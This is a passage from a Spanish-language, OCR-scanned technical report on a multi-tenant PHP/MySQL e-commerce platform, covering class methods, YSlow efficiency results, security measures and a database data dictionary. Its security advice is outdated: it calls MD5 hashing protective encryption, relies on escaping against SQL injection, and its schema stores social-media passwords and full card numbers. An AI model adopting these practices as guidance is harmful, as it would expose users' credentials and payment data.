seleccionado y desactiva el que estaba activo anteriormente dependiendo del tipo del

anuncio.

d. Clase Consumer. Se encarga de proveer los métodos necesarios para el

manejo de los consumidores o compradores.

Variables globales
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SclientID: Almacena el identificador de la empresa que esta conectado en este momento al
sistema, para que los métodos no modifiquen ni muestren los consumidores de otras
empresas.

SdbObject: Objeto que se encarga de llamar a los métodos que permiten realizar

operaciones a la base de datos.

Métodos
__contruct( identificador del cliente): Método constructor que se encarga de inicializar las

variables globales.

create( primer nombre, apellido , teléfono, direccion, correo electrénico, contrasefia, pais):
Método encargado de la creacién de un consumidor, insertando sus datos en la tabla

consumers.

changeStatus(identificador de consumidor): Método que permite bloquear y desbloquear a

los consumidores.

listClientssearch(arreglo con opciones de busqueda) : Busca consumidores en la tabla
consumers en base al arreglo recibido. El arreglo contiene los nombres de las columnas por

las que hay que filtrar para buscar al consumidor.

modify(identificador de consumidor, primer nombre, apellido, teléfono, direccion, correo
electrénico, pais): Método que se encarga de modificar los datos de un consumidor

exceptuando la contrasefia.

changepassword(identificador de consumidor, nuevo password): Modifica la contraseia del

consumidor seleccionado.

listClients(): Método que se encarga de desplegar la tabla de consumidores en la vista de

consumidores.
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viewClient(identificador de consumidor): Método que devuelve los datos del consumidor

especificado.

e. Clase Business. Se encarga de proveer los métodos necesarios para el manejo

de los datos generales de la empresa, que serdn mostrados

Variables globales
SclientID: Almacena el identificador de la empresa que estd conectado en este momento al
sistema, para que los métodos de esta clase no modifiquen ni muestren los datos generales

del resto de empresas.

SdbObject: Objeto que se encarga de llamar a los métodos que permiten realizar

operaciones a la base de datos.

Métodos
__contruct( identificador del cliente): Método constructor que se encarga de inicializar las

variables globales.

setMision(nueva misién de la empresa): Método que permite modificar la misidn actual de

la empresa.

setVision(nueva visién de una empresa): Método que permite modificar la visidon actual de

la empresa.

setlogo(Nueva foto del logo de la empresa): Método que permite modificar el logotipo de

la empresa.

C. Practicas de eficiencia implementadas

Con base a las practicas para mejorar la eficiencia de los sitios web mostradas en el marco

tedrico de este trabajo, se seleccionaron las siguientes para ser aplicadas:
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Compresién de los archivos Javascript , CSS y PHP utilizando Gzip.
Colocar las llamadas a scripts en la parte inferior de las pdaginas.
Colocar las llamadas a los CSS al inicio de cada vista.

Evitar redirecciones.

Aplicar Minify a los archivos de tipo JavaScript y a los CSS.

IS A o

Evitar expresiones en los CSS

Para la compresion de JavaScript y CSS se cred un archivo con extension htaccess que
permite especificarle al servidor, que ejecute un archivo PHP el cual se encarga de la compresién

gue se le aplica a todos los archivos de tipo JavaScript y CSS.

Se comprobé que todas las llamadas a archivos de JavaScript en las vistas estuvieran en la
parte inferior del documento para que fueran lo Ultimo que cargaran, tanto los Scripts internos
como las llamadas a Script externos. También se corrobord en cada vista que las llamadas a los

CSS se colocaran hasta arriba.

Para aplicar Minify a los archivos con extensién CSS y JavaScript se utilizé la herramienta
YUl Compressor. Es importante mencionar que esta herramienta no solamente borra los
espacios en blanco para reducir el tamafo de los archivos sino que también modifica /os

nombres de las variables que se encuentran en los archivos JavaScript por nombres mas cortos.

Por ultimo se evitd utilizar expresiones en los CSS. En ninguna vista del médulo fue
necesario utilizar expresiones en los CSS pues con la utilizacién de JQuery fue sencillo manejar
los elementos como el visor de imagenes que es capaz de cambiar su tamafo sin necesidad de

utilizar estas expresiones en los CSS.

La practica de desactivar las entity Tags(Etags) del sitio no fue implementada ya que se
encontré que las Etags ayudan a identificar si los componentes almacenados en el servidor
(Imagenes, Hojas de estilo, JavaScripts) son los mismos que los usuarios tienen almacenados en
su Cache. YSlow recomienda esta practica debido a que las Etags pueden causar problemas en
granjas de servidores por la forma en que son calculadas con marcadores especificos de la
magquina. Por esta razén no fue necesario implementar esta practica ya que en el caso de este

maodulo no mejoraria el rendimiento del sistema, pues se necesita ver siempre la informacion
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mas reciente del sitio y si las Etags estdn desactivadas no seria posible identificar si se esta

viendo la informacidon mas reciente.

La practica de utilizar un Content Delivery Network no fue necesaria pues el sistema se
encuentra albergado solamente en un servidor. Otro factor importante que ayudd a determinar

si se utilizaba o no un CDN es el precio de estos, pues oscila entre $500 y $10,000.

La dltima practica que no fue implementada de las propuestas en el marco tedrico es la de
afadir encabezados de expiracién a los archivos, pues al utilizar los encabezados se le estd
diciendo al cliente que no verifique por nuevas versiones de los archivos hasta cierta fecha. En
un sistema como el desarrollado, es contraproducente utilizar esta técnica pues el
administrador desea ver el contenido mas reciente de su sitio que estd cambiando

constantemente.

D. Seguridad

1. Seguridad implementada en el sub-médulo de consumidores. Para este sub-mddulo
se implementaron medidas de seguridad para mejorar la integridad del sitio evitando
ataques de cross site scripting (xss), en las formas donde el administrador pueda insertar o

cambiar datos de |a tabla consumers.

Para evitar este tipo de ataques, los datos que ingresa el administrador estan validados
utilizando JQuery. En caso de tener JavaScript desactivado se asegurd de que todos los datos
fueran filtrados para evitar que el administrador pueda insertar porciones de cédigo malicioso a
la base de datos. Ademas se tratd de evitar ataques de sql injection a través de la funcion
cleanQuery, que utiliza el comando mysql_real_escape_string que filtra las consultas realizadas a la
base de datos. Otra medida de seguridad que se tomd para evitar que un administrador pueda
ver, insertar y modificar datos de otra empresa, es que en cada consulta revisa en la base de
datos si el identificador guardado en la cookie pertenece a un administrador del sitio; las cookies
guardan la sesidn actual del usuario y en la base de datos se encuentra guardado el ultimo valor
de sesién generado al momento de autenticarse: si el valor de sesidon que se encuentra en la
cookie no coincide con el almacenado en la base de datos, entonces le es imposible realizar

algin cambio y es desconectado inmediatamente.

2. Seguridad implementada en el sub-mddulo de d6rdenes. Para este sub-mddulo se
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implementaron medidas de seguridad para mejorar la confidencialidad del sitio. Para
evitar que el administrador pueda ver, insertar y modificar datos de otra empresa, en cada
consulta se revisa en la base de datos si el identificador guardado en la cookie pertenece al
administrador de la empresa. Las cookies guardan la sesién actual del usuario y en la base de
datos se encuentra guardado el ultimo valor de sesién generado al momento de conectarse: si el
valor de sesidn que se encuentra en la cookie no coincide con el almacenado en la base de datos

(que es Unico), entonces no le permite hacer ningin cambio sobre los datos.

3. Seguridad implementada en el sub-mddulo de herramientas. En este sub-mddulo se
tomaron las medidas de seguridad necesarias para evitar que los anuncios que sube el
usuario al servidor sean scripts y que al momento de mostrarlos se ejecuten y realicen
operaciones indebidas, esta es otra forma de realizar Cross Site Scripting (xss) que se logré
manejar. Para esto, primero se valida que la extension con la que se sube la imagen sea JPG,
bmp, png, gif o PJPEG. Luego se renombra la imagen a un identificador Unico, que consiste en
la concatenacion de la fecha actual con precision de milisegundos. Este renombramiento de las
imagenes no solamente sirve para evitar este tipo de ataques sino que también ayuda a evitar
gue se suban fotos con el mismo nombre a la carpeta, ya que esto podria causar problemas

internos al sistema.

4. Seguridad implementada en el sub-médulo de catidlogo . Para el sub-médulo de
catdlogo se implementaron las mismas medidas de seguridad que las utilizadas en el
sub-médulo de consumidores para resguardar la integridad de la base de datos y evitar cross
site scripting (xss). Ademas se validé la forma para subir nuevas fotografias de los productos
para solamente aceptar archivos de tipo JPEG, gif, png y PJPEG y bmp. También todas las
imagenes que se suben al servidor son renombradas para evitar nombres repetidos y evitar que

el administrador pueda ejecutar scripts cada vez que se muestra un anuncio.

5. Seguridad para el inicio de sesion. Cuando el usuario ingresa su contrasefia para
iniciar sesion esta se manda cifrada con MD5 a la base de datos para evitar que alguien

gue esté en medio de la comunicacién pueda leerla. Esto también refuerza un pilar basico de
seguridad el cual es la confidencialidad, pues las contrasefias de todos los consumidores y
administradores son almacenadas en la base de datos cifradas. Ademas, se guarda en la base de
datos un identificador de sesidn Unico que se genera cada vez que un usuario es autenticado en

el inicio de sesidn, este se compara con el que tiene el usuario asignado actualmente en su
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sesion y si son diferentes entonces no le permite acceso al sistema para que no realice

operaciones indebidas.

E. Resultados

En esta seccidn se presentan los resultados de las pruebas realizadas con la herramienta
YSlow. Es importante sefalar que para este mdédulo se intentd implementar las practicas
propuestas desde un inicio. Por esta razén solamente se muestran los resultados finales de su
implementacion. Para saber qué practicas fueron implementadas en todo el sistema referirse al

capitulo de practicas de eficiencia implementadas.

Es importante remarcar la impotancia de la eficiencia en cualquier sistema web, pues dada
la plataforma la demanda de usuarios que tendra que atender en cualquier momento sera alta,

y el sistema debe estar en capacidad de servir todas las peticiones

Tabla 6. Tiempos de respuesta y calificaciones de todas las vistas utilizando la herramienta

YSlow, tiempos en milisegundos.

Vistas Nota de YSlow Tiempo total de carga Aplicando Gzip(k)

Panel de control A 565 5.8

Agregar consumidores A 590 73.9

Modificar consumidores A 835 73.7

- Ordenes B 630 68.9
Afadir categorias A 494 72.9
Modificar categorias A 581 73.1

Ver productos B 828 80.4
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Continuacion Tabla 7. Tiempos de respuesta y calificaciones de todas las vistas utilizando la

herramienta YSlow, tiempos en milisegundos.

Vistas Nota de YSlow Tiempo total de carga Aplicando Gzip(k)

Modificar producto

Anadir productos

Herramientas

Manejo de

administradores

Estos resultados muestran los tiempos de respuesta de las distintas vistas del programa,
pero solamente muestran los tiempos de elementos estaticos de cada vista. Si se afiaden mas
fotografias a un producto o se aflade mas publicidad en la vista de herramientas, estos tiempos
aumentaran dependiendo del tamafio de la fotografias. Es por esta razén, que Unicamente se
muestran los tiempos de los componentes estdticos como hojas de estilo, el texto desplegado

en las vistas y los archivos de JavaScript utilizados.



X. MODULO DE BASE DE DATOS
A. Descripcién

El médulo de base de datos juega un papel fundamental del Megaproyecto, ya que sin este
no seria posible guardar la informacién de los clientes del megaproyecto, los consumidores,
productos, ordenes, elementos de una orden, atributos especiales de un producto, informacién
de envio, informacidn de facturacién, informacion de tarjetas de crédito, usuarios de un portal,
tipos de pago, categorias, imagenes, anuncios, usuarios administradores y demds elementos

necesarios para su funcionalidad de forma eficiente y segura.

La base de datos fue desarrollada basada en un modelo de arquitectura multi-inquilino, ya
qgue es la arquitectura mds conveniente para modelo SaaS en el que se ha desarrollado el
Megaproyecto. Esta serd accedida por los distintos mddulos por medio de clases PHP dedicadas

al manejo de conexidn e interaccion con MySQL.

B. Analisis

1. Requerimientos. Se identificd6 como requerimiento para la base de datos que fuera
creada sobre un servidor que soporte MySQL. MySQL es una solucién OpenSource para

el manejo de bases de datos. Fue seleccionada por su naturaleza de OpenSource y por su
compatibilidad con las herramientas Apache y PHP para el desarrollo del Megaproyecto. Una
ventaja de usar MySQL consta en la disponibilidad en servidores gratuitos para realizar pruebas,
ya que si se hubiese elegido trabajar con otra herramienta pagada, por ejemplo SQL Server,
hubiera sido mas complicado encontrar un servidor gratuito que soportard este tipo de base de

datos.

2. Acceso. Este mdédulo serd utilizado Unicamente por las interfaces del resto de mddulos del
Megaproyecto, nadie tendra acceso a la informacion de la base de datos sin sus debidas
credenciales. Se han desarrollado una serie de archivos de comunicacién entre médulos para que exista
una interfaz de transferencia de datos entre un mdédulo PHP vy la informacidon almacenada en la base de

datos.
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3. Permisos de usuarios. Debido a la naturaleza de las interacciones en el Megaproyecto,

se definieron cuatro tipos de usuarios que tendrdn acceso a diferentes campos de la

base de datos. Es importante notar que algunos de ellos tendran acceso a mas opciones que
otros, ya que las tareas que deben realizar son diferentes. Dependiendo de la tarea que tengan
que realizar podrdn tener acceso a lectura, escritura, actualizacion o a borrar un registro, o

varios, de la base de datos.

A continuacidn se presenta un cuadro con los permisos que tiene cada tipo de usuario para
acceder a cada tabla de la base de datos. Se ha definido una abreviatura para cada tipo de
usuario: CL = Cliente, CNS = Consumidor, ADMN = Administrador y CL — GN = Cliente que esta
usando el generador de portales de venta en linea y los permisos L = Lectura, E = Escritura, A =

Actualizacién y B = Borrado.

Se refiere a un cliente como aquel usuario que tiene acceso a la administracién del
contenido de un portal de venta en linea, ya sea manejar el catdlogo como revisar reportes. Un
consumidor es aquel usuario que accede al portal de venta en linea con la intencién de comprar
un producto. Un administrador es aquel usuario que pertenece a la administraciéon del
megaproyecto, que esta encargado de tareas como la generacién de contrasefias para
autenticar la generacion de un portal de venta en linea como el manejo de los clientes actuales.
Finalmente, un cliente en proceso de generacidén es aquel que estd ingresando la informacion

necesaria para crear un portal de venta en linea.

Tabla 7. Permisos de usuario por tabla.

CL CNS ADMN CL-GN

Tabla / Usuario
LIE|/A|B|L|E|A|B|L|E|A|B|L|E|A|B

activate_passwords

addresses

announcements

attribute_values

categories

clients

consumers

countries

creditcards

exchange_rates

invetory_entries

login_services
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Continuacion Tabla 7. Permisos de usuario por tabla.

. CL CNS ADMN CL-GN

Tabla / Usuario
LIE|A|{B|L|E|A|B|L|E|A|B|L|E|A
orders L|IE|A|/B|L|E|A/B|L|E|A[(B|L|E|A

orders_items

payment_types

product_attributes

product_images

products

relation_attributes

relation_attributes_values

shipping_types

users

administrators

widgets

C. Disefio del modelo de la base de datos

El disefio de la base de datos juega un papel importante en el desarrollo del sistema, ya que
si esta no esta disefiada adecuadamente el sistema puede fallar o presentar problemas de
rendimiento inaceptables. Debido a que el proyecto ha sido desarrollado en un modelo de SaaS
fue necesario implementar una arquitectura especial de base de datos que soportara las
caracteristicas del mismo. Se tomé la decisidon de implementar una arquitectura multi-inquilino
en la base de datos, ya que esta permite que se maneje informacién de multiples clientes en una

sola base de datos en vez de crear una base de datos para cada uno de ellos.

La arquitectura multi-inquilino funciona basada en la asociacién de cada registro con su
debido propietario. Ya que se contard con varios clientes se cred una tabla especialmente para
guardar la informacién de estos, esta tabla es llamada CLIENTS. En la tabla CLIENTS se incluira un
identificador Unico por cada cliente, con el cual se asociara la informacion del resto de la base
de datos para asignar su propietario correspondiente. Para asociar la informacién con su cliente
propietario se utilizé una columna de referencia al identificador Unico del cliente en la tabla

CLIENTS.

En cada tabla que fue necesario asociar con su propietario, existe una columna llamada

client_id, la cual tendrd un valor numérico que hara referencia a la tabla CLIENTS, asociando asi
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el registro con su propietario. Existen tablas cuya informaciéon también tiene un propietario,
pero éstas no poseen una columna client_id ya que las mismas hacen referencia a un registro
que si tiene esta columna; de esta manera se asegura la integridad de la informacidn y se evita
la replicacion de la misma, ya que no se guarda en dos o mas lugares el valore de referencia a la

tabla CLIENTS.

- Documentacion técnica
Como parte de una interfaz de comunicacién entre mdédulos PHP y la base de datos se han
desarrollado una serie de archivos de administracién y conexidon con la base de datos. A

continuacioén se detalla la informacion técnica de cada uno de ellos.

DBConfig.php

En esta clase se maneja la informacién con la cual se trabajard en los demas archivos. Esta

informacidn es necesaria para crear una conexion con la base de datos.

Funciones:
e _ construct
o Entradas: ninguna.
o Salidas: ninguna.
o Funcionalidad: guarda la informacidn necesaria para crear una conexion
MySQL con la base de datos. Se guarda el usuario, contraseia, servidor y el
nombre de la base de datos.
e _ destruct

o Entradas: ninguna.
o Salidas: ninguna.
o Funcionalidad: elimina toda la informacién almacenada al inicio para

limpiar los segmentos de datos en los que se hayan guardado estos valores.
DBManager.php

Esta clase esta desarrollada para administrar las conexiones MySQL con la base de datos y
para realizar tareas como: seleccionar, actualizar, insertar o eliminar registros en la base de

datos.
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Funciones:

e _ construct
o Entradas: ninguna.
o Salidas: ninguna.
o Funcionalidad: obtiene los datos guardados para crear una conexion
MySQL con la base de datos y crea la conexion.
e executeQuery
o Entradas: cddigo de consulta SQL que se desea ejecutar.
o Salidas: estado de ejecucién. Indica si la consulta fue realizada
exitosamente o ha sido fallida.
o Funcionalidad: ejecuta una consulta o accién, insertar, actualizar o eliminar,
especifica en la base de datos.
e error
o Entradas: ninguna.
o Salidas: ultimo error de MySQL que se ha generado.
o Funcionalidad: retorna el ultimo error de MySQL que se ha generado al
ejecutar consultas o acciones a la base de datos.
o set
o Entradas: campo y valor.
o Salidas: ninguna.
o Funcionalidad: se agrega una entrada a una lista de campos y se relaciona
con el valor especificado. Esta lista sera utilizada en otros métodos para

crear consultas completas.

o Entradas: campo y valor.

o Salidas: ninguna.

o Funcionalidad: se agrega una entrada a la lista de llaves y se le relaciona
con el valor especificado. Esta lista sera utilizada en otros métodos para
crear consultas, a diferencia de la lista de campos esta serd utilizada

exclusivamente para las llaves primarias o foraneas de una consulta.
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Entradas: nombre de tabla.

Salidas: estado de ejecucién de insercidon en la base de datos.
Funcionalidad: tomando los valores en las listas de campos y llaves se crea
el cédigo SQL para insertar los valores en la tabla especificada en los

pardmetros.

Entradas: nombre de tabla.

Salidas: estado de ejecucion de actualizacidn en la base de datos.
Funcionalidad: tomando los valores en las listas de campos y llaves se crea
el cddigo SQL para actualizar registros en la tabla especificada en los

parametros, con el filtro de los valores de la lista de Ilaves.

Entradas: nombre de tabla.

Salidas: estado de ejecucion de eliminar un registro en la base de datos.
Funcionalidad: tomando los valores en la lista de llaves se crea el cddigo
SQL para eliminar registros en la tabla especificada en los pardmetros, con

el filtro de los valores de la lista de llaves.

Entradas: nombre de tabla, nombre de campos, valores, codificacion extra.
Salidas: lista de tuplas seleccionadas al hacer la consulta en la base de
datos.

Funcionalidad: tomando el nombre de la tabla, filtrando los campos con los
valores especificados y agregando la codificacién extra, se genera el codigo

de consulta MySQL y se retornan los registros seleccionados.

selectAll

O

O

Entradas: nombre de tabla, codificacion extra.

Salidas: lista de tuplas seleccionadas al hacer la consulta en la base de
datos.

Funcionalidad: se toma el nombre de la tabla y se seleccionan todos los
campos de la misma, tomando en cuenta la codificacién extra, al realizar la

consulta MySQL en la base de datos.
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clean_query.php

En esta clase se maneja la prevencién de SQL Injection, para esto se “limpian” las entradas

de texto que provienen de formas en las que el usuario ha ingresado en formas HTML.
Funciones:

o cleanQuery
o Entradas: texto.
o Salidas: texto analizado y limpiado de cualquier anomalia que pueda
resultar en una ejecucidn indebida de cddigo SQL.
o Funcionalidad: toma el texto de entrada y lo limpia de caracteres que

puedan codificar SQL malicioso y ejecutarse en la base de datos.

- Diccionario de datos
La llustracion que se muestra a continuacion refleja el modelo disefiado para la base de

datos del Megaproyecto. Se incluyen las tablas que son utilizadas en todos los mdédulos.

[lustracion 103. Diagrama de la base de datos.
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En el diagrama anterior se presentan 26 tablas con sus respectivas relaciones e indices. A

continuacién se detallan los campos de cada tabla junto con sus tipos.

Clients

Esta tabla almacena los clientes del proyecto. Un cliente es un individuo o empresa que

compra el derecho de tener un portal de venta en linea generado por el sistema.

Tabla 8. Campos de la tabla CLIENTS.

Nombre del campo Descripcion Tipo Llave primaria | Llave fordnea
Client_id Identificador Unico. INTEGER(11) (4
Name Nombre del cliente. VARCHAR(255)
Email Correo  electrénico  del | VARCHAR(255)
cliente.
Phone Teléfono del cliente. VARCHAR(25)
Address Direccidn fisica del cliente. VARCHAR(255)
Website Direccién del sitio web del | VARCHAR(128)
cliente.
Inv_name Nombre de facturacién del | VARCHAR(255)
cliente.
Inv_address Direccién fisica de | VARCHAR(255)
facturacion del cliente.
Nit Nimero de identificacion | VARCHAR(255)
tributaria del cliente.
Color Color asignado al sitio. VARCHAR(12)
Facebook Usuario de Facebook del | VARCHAR(255)
cliente.
Twittter Usuario de Twitter VARCHAR(255)
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Nombre del campo Descripcion Tipo Llave primaria | Llave foranea

Facebook_pass Contrasefia del usuario de | VARCHAR(128)
Facebook.

Twitter_pass Contrasefia del usuario de | VARCHAR(128)
Twitter

Status Indica si el registro esta | BOOL
activo o no.

Mission Se almacena la misidn de la | LONGTEXT
empresa.

Vision Se almacena la vision de la | LONGTEXT
empresa.

Description Representa una descripcidon | LONGTEXT
de la empresa,

Keywords Etiquetas asociadas a esta | LONGTEXT
empresa para mejorar una
busqueda.

Template Indica que plantilla esta
desplegando el portal, la
numeracién representa las
plantillas.

Users

En esta tabla se almacenan los usuarios que son asociados a los clientes, con estos usuarios

se podra iniciar sesién en el médulo de administracién para realizar las tareas necesarias para

administrar un portal de venta en linea.
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Nombre del campo Descripcion Tipo Llave primaria | Llave foranea
User_id Identificador unico. INTEGER(11) 4
Identificador del cliente
Client_id INTEGER(11) v
asociado.
First_name Nombre del usuario. VARCHAR(255)
Last_name Apellido del usuario. VARCHAR(255)
Phone Teléfono del usuario. VARCHAR(25)
Correo electrdnico del
Email VARCHAR(255)
usuario.
Password Contrasefia del usuario. VARCHAR(255)
Indica si el registro esta
Status BOOL
activo o no.
Indica el nivel de permisos
Account_type INTEGER

del usuario.

Consumers

En esta tabla se almacena la informacidn de los consumidores de los portales de venta en

linea. Cada consumidor esta asociado a un cliente para especificar a qué portal de venta en linea

esta comprando.

Tabla 10. Campos de la tabla CONSUMERS.

Nombre del campo Descripcion Tipo Llave primaria | Llave foranea
Consumer_id Identificador unico. INTEGER(11) 4
Client_id Identificador del cliente | INTEGER(11)

asociado.
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Nombre del campo Descripcion Tipo Llave primaria | Llave foranea
First_name Nombre del consumidor. VARCHAR(255)
Last_name Apellido del consumidor. VARCHAR(255)
Phone Teléfono del consumidor. VARCHAR(25)
Address Direccién fisica del | VARCHAR(255)
consumidor.
Email Correo  electronico  del | VARCHAR(255)
consumidor.
Password Contrasefia del consumidor. | VARCHAR(255)
Country_id Identificador del pais | INTEGER(11) v
asociado.
Status Indica si el registro esta | BOOL
activo o no.
Session_id Identificador de sesion para | VARCHAR(255)
asociar con el navegador.
External_id Identificador externo del | VARCHAR(128)
consumidor.
Service_id Servicio de inicio de sesién | INTEGER(11) v
asociado.
Addresses

- En esta tabla se almacenan las direcciones relacionadas a los consumidores. Cada

consumidor puede tener mas de una direccidon de entrega, asi que se lleva registro

de las que ha ingresado para ser asociadas en las érdenes.
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Nombre del Descripcion Tipo Llave Llave
campo primaria foranea
Address_id Identificador Unico del INTEGER(11) v
registro.
Full_name Nombre asignado a la VARCHAR(255)
direccion.
Address Direccion fisica. VARCHAR(255)
City Ciudad de la direccion. VARCHAR(35)
State Estado de la direccidn. VARCHAR(35)
Zip_code Cdédigo postal. VARCHAR(10)
Country Pais de la direccién. VARCHAR(35)
Phone Teléfono asociado. VARCHAR(25)
Consumer_id Identificador del INTEGER(11)
consumidor que posee la v

direccidn.

Creditcards

- En esta tabla se almacena la informacidon de las tarjetas de crédito de un

consumidor. Cada tarjeta de crédito esta asociada a una direccidn, que a su vez esta

asociada a un consumidor. Con esta informacion se lleva un control de las formas en

las que ha pagado un cliente y se le brinda un servicio de almacenamiento para

recordar su informacion.

Tabla 11. Campos de la tabla CREDITCARDS.

Nombre del Descripcion Tipo Llave Llave
campo primaria foranea
Credit_card_id Identificador Unicode la | INTEGER(11) v

tarjeta de crédito.
Full_name Nombre asociado a la VARCHAR(128)

tarjeta de crédito.
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Nombre del Descripcion Tipo Llave Llave
campo primaria foranea
Exp_year Afio de expiracion de la INTEGER(11)

tarjeta.
Exp_month Mes de expiracion de la INTEGER(11)

tarjeta.
Number Numero de la tarjeta de INTEGER

crédito.
Address_id Direccidén asociada a la INTEGER(11) v

tarjeta de crédito.

Login_Services

- En esta tabla se almacenan los servicios de inicio de sesidon de los consumidores.

Esta tabla forma parte de los métodos de seguridad para autenticar las sesiones de

los usuarios y consumidores al momento de acceder al sitio.

Tabla 12. Campos de la tabla LOGIN_SERVICES.

Nombre del Descripcion Tipo Llave primaria | Llave foranea

campo

Service_id Identificador Unico del INTEGER(11)
servicio de inicio de v
sesion.

Name Nombre asociado al VARCHAR(128)
servicio.

Image Direccion relativa de la VARCHAR(255)
imagen asociada al
servicio.

Countries

- En esta tabla se guarda un listado de los paises disponibles para asociar a los

clientes del proyecto. Los paises serdn limitados al alcance legal que se tenga.

Tabla 13. Campos de la tabla COUNTRIES.

Nombre del Descripcion Tipo Llave Llave
campo primaria foranea
Country_id Identificador unico del INTEGER(11) v

pais.
Name Nombre del pais. VARCHAR(255)
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- En esta tabla se almacenan las tasas de cambio respecto al délar. Estos valores servirdn

como referencia del precio real al que se comprd o realizé un pedido en determinada

fecha.
Tabla 14. Campos de la tabla EXCHANGE_RATES
Nombre del Descripcion Tipo Llave Llave
campo [rimaria foranea
Rate_id Identificador Unico de la INTEGER(11) v
tasa de cambio
Rate Valor numérico de la tasa | REAL
de cambios.
Country_id Pais asociado a la tasa de | INTEGER(11) v
cambio.
Date Fecha en la cual fue DATE
tomada la tasa de
cambio.
Products
- En esta tabla se almacenan los productos que han sido ingresados por los usuarios
administrativos de los portales de venta en linea. Estos productos son catalogados en
categorias y cada uno tiene caracteristicas que seran presentadas en el portal para que
los consumidores tengan acceso a ellos y puedan solicitarlos en una orden.
Tabla 15. Campos de la tabla Products.
Nombre del Descripcion Tipo Llave Llave
campo primaria foranea
Product_id Identificador Unico del INTEGER(11) v
registro de productos.
Client_id Identificador del cliente INTEGER(11) v
asociado al producto.
Name Nombre asignado al VARCHAR(255)
producto.
Description Descripcion del VARCHAR(255)
producto.
Category_id Identificador de la INTEGER(11)
categoria a la que v
pertenece el producto.
Price Valor de catalogo del REAL

producto.
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Nombre del
campo

Descripcion

Tipo

Llave
primaria

Llave
foranea

Discount

Cantidad de descuento al
precio del producto.

REAL

Discount_type

Tipo de descuento, indica
si el valor anterior es
porcentual al costo o es
un valor fijo.

SET(‘PERCENT’
,'VALUFE’)

Creation_date

Fecha en la que fue
creado el producto.

DATE

Creation_user

Identificador del usuario
gue ha creado el
producto.

INTEGER(11)

Modified_date

Fecha en la que fue
modificado por ultima
vez el producto.

DATE

Modified_user

Identificador del usuario
gue ha creado el
producto.

INTEGER(11)

Image

Direccién de una imagen
asociada al producto.
Esta es presentada como
la imagen principal.

VARCHAR(255)

In_stock

Cantidad de este
producto que se tiene
disponible en inventario.

REAL

Show_product

Columna que indica si el
registro debe ser
mostrado en el catdlogo
o no.

BOOL

Available

Indica si el producto esta
disponible alaventa o
no.

BOOL

Categories

En esta tabla se almacenan las categorias que el administrador del portal de venta en linea

utilizara para manejar el catdlogo de su tienda. Cada una de ellas puede referirse a otra

categoria para crear una relacidon padre-hijo. Con esta relacion entre categorias se tiene un arbol

de jerarquias de N niveles, los que el usuario considere necesarios.
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Nombre del campo Descripcion Tipo Llave primaria | Llave foranea
Category_id Identificador Unico de cada | INTEGER(11) v
categoria.
Name Nombre con el que se | VARCHAR(255)
asocia la categoria,
representa el nombre que
se va a desplegar en el
portal.
Description Descripcion que el usuario | VARCHAR(255)
le da a sus consumidores
para explicar la categoria.
Category_parent Identificador de la categoria | INTEGER(11)
superior en el arbol de 4
categorias.
Status Estado del registro, indica si | BOOL
esta disponible o no.
Root Identificador de la categoria | INTEGER(11)
raiz  del arbol que 4
pertenece.
Client_id Identificador del cliente | INTEGER(11) v
asociado a la categoria.
Active Indica si la categoria es | INTEGER

visible a los consumidores o

no.
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En esta tabla se almacenan entradas de inventario. Cada entrada representa una

actualizacion en el catdlogo de productos, aumenta la cantidad disponible a la fecha indicada.

Tabla 17. Campos de la tabla INVENTORY_ENTRIES.

Nombre del campo | Descripcién Tipo Llave primaria | Llave foranea
Entry_id Identificador Unico de la | INTEGER(11) v
entrada de inventario.
Product_id Identificador del producto | INTEGER(11) v
asociado al registro.
Client_id Identificador  del cliente | INTEGER(11)
asociado a la entrada de v
inventario.
Count Cantidad registrada del | REAL
producto para esta entrada.
Date Indica la fecha en la que fue | DATE
creada la entrada de
inventario.
User_id Identificador del usuario que | INTEGER(11)
ha creado/modificado esta (4

entrada.

Product_Images

- En esta tabla se almacenan las referencias a imagenes que estan asociadas a un

producto. Con esta tabla el administrador de catdlogo tiene la opcidon de agregar

mas de una imagen para un producto, brindando asi una mejor presentacion a sus

consumidores.
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Nombre del " . Llave Llave
Descripcion Tipo . . P
campo primaria foranea
Image_id Identificador unico del INTEGER(11) v
registro de imagen.
Product_id Identificador del INTEGER(11)
. v
producto referenciado.
Image_url Direccidn relativa de la VARCHAR(255)
imagen en el servidor.
Visible Indica si la imagen se BOOL

puede ver o no.

Product_Attributes

- En esta tabla se almacenan los atributos extra que tiene un producto. Se le llama

atributo extra a aquellas caracteristicas especificas de un producto que son

ingresadas para darle una diferenciacién en el catdlogo. Un cliente ingresa estas

caracteristicas para ofrecer diferentes variaciones de un mismo producto a sus

consumidores, estas pueden influenciar en el precio o en existencias. Un atributo

extra puede tomar varios valores, ver tabla Attribute_Values, los cuales son

relacionados con los valores de los otros atributos para generar una nueva

combinacion del producto.

Tabla 19. Campos de la tabla PRODUCT_ATTRIBUTES.

Nombre del Descripcion Tipo Llave primaria | Llave foranea

campo

Attribute_id Identificador Unico del INTEGER(11) v
atributo.

Attribute_name Nombre que se le da al VARCHAR(255)
atributo.

Description Representa una breve VARCHAR(255)
descripcidén del atributo
gue se ha dado al
producto.

Product_id Producto al cual se le INTEGER(11)

esta asignando o

relacionando el atributo.
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Attribute_Values

- En esta tabla se almacenan los valores que puede tomar un atributo extra. Se le

[laman valores a las posibles opciones que un atributo puede tomar. Por ejemplo

para un atributo “color” los valores que puede tomar son “azul”, “rojo”, etc.

Tabla 20. Campos de la tabla ATTRIBUTE_VALUES.

Nombre del . . Llave Llave
Descripcion Tipo . . P
campo primaria foranea
Value_id Identificador unico del INTEGER(11) v
valor.
Attribute_id Identificador del atributo | INTEGER(11)
al cual pertenece el v
valor.
Value Representa el valor que VARCHAR(255)
ha asignado el cliente
para el atributo.

Relation_Attributes

- En esta tabla se almacenan las relaciones entre atributos de un mismo producto. Al
decir relaciones se refiere a una combinacién entre varios valores de los atributos
de un producto. Por ejemplo, una relacién entre atributos es aquella en la que
decimos que un producto cumple con las siguientes caracteristicas: color y material;
para la combinacién anterior un ejemplo podria ser “metal negro”.

Tabla 21. Campos de la tabla RELATION_ATTRIBUTES.

Nombre del N . Llave Llave
Descripcion Tipo . . <
campo primaria foranea
Relation_id Identificador Unicode la | INTEGER(11) v
relacion.
Product_id Identificador del INTEGER(11) v
producto
In_stock Representa la cantidad REAL
de disponible en
existencia..
Extra_cost Costo extra del producto. | REAL
Show_rel Indica si la relacion debe | BOOL
ser desplegada o no
Status Indica si la relacién esta BOOL
activa o no.
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Relation_Attributes_Values

En esta tabla se almacenan los valores a los cuales las relaciones hacen referencia.
Se menciond anteriormente la relacion (material, color), entonces para agregar las
posibles combinaciones entre ambos se especifica los valores exactos que forman la
relacion.
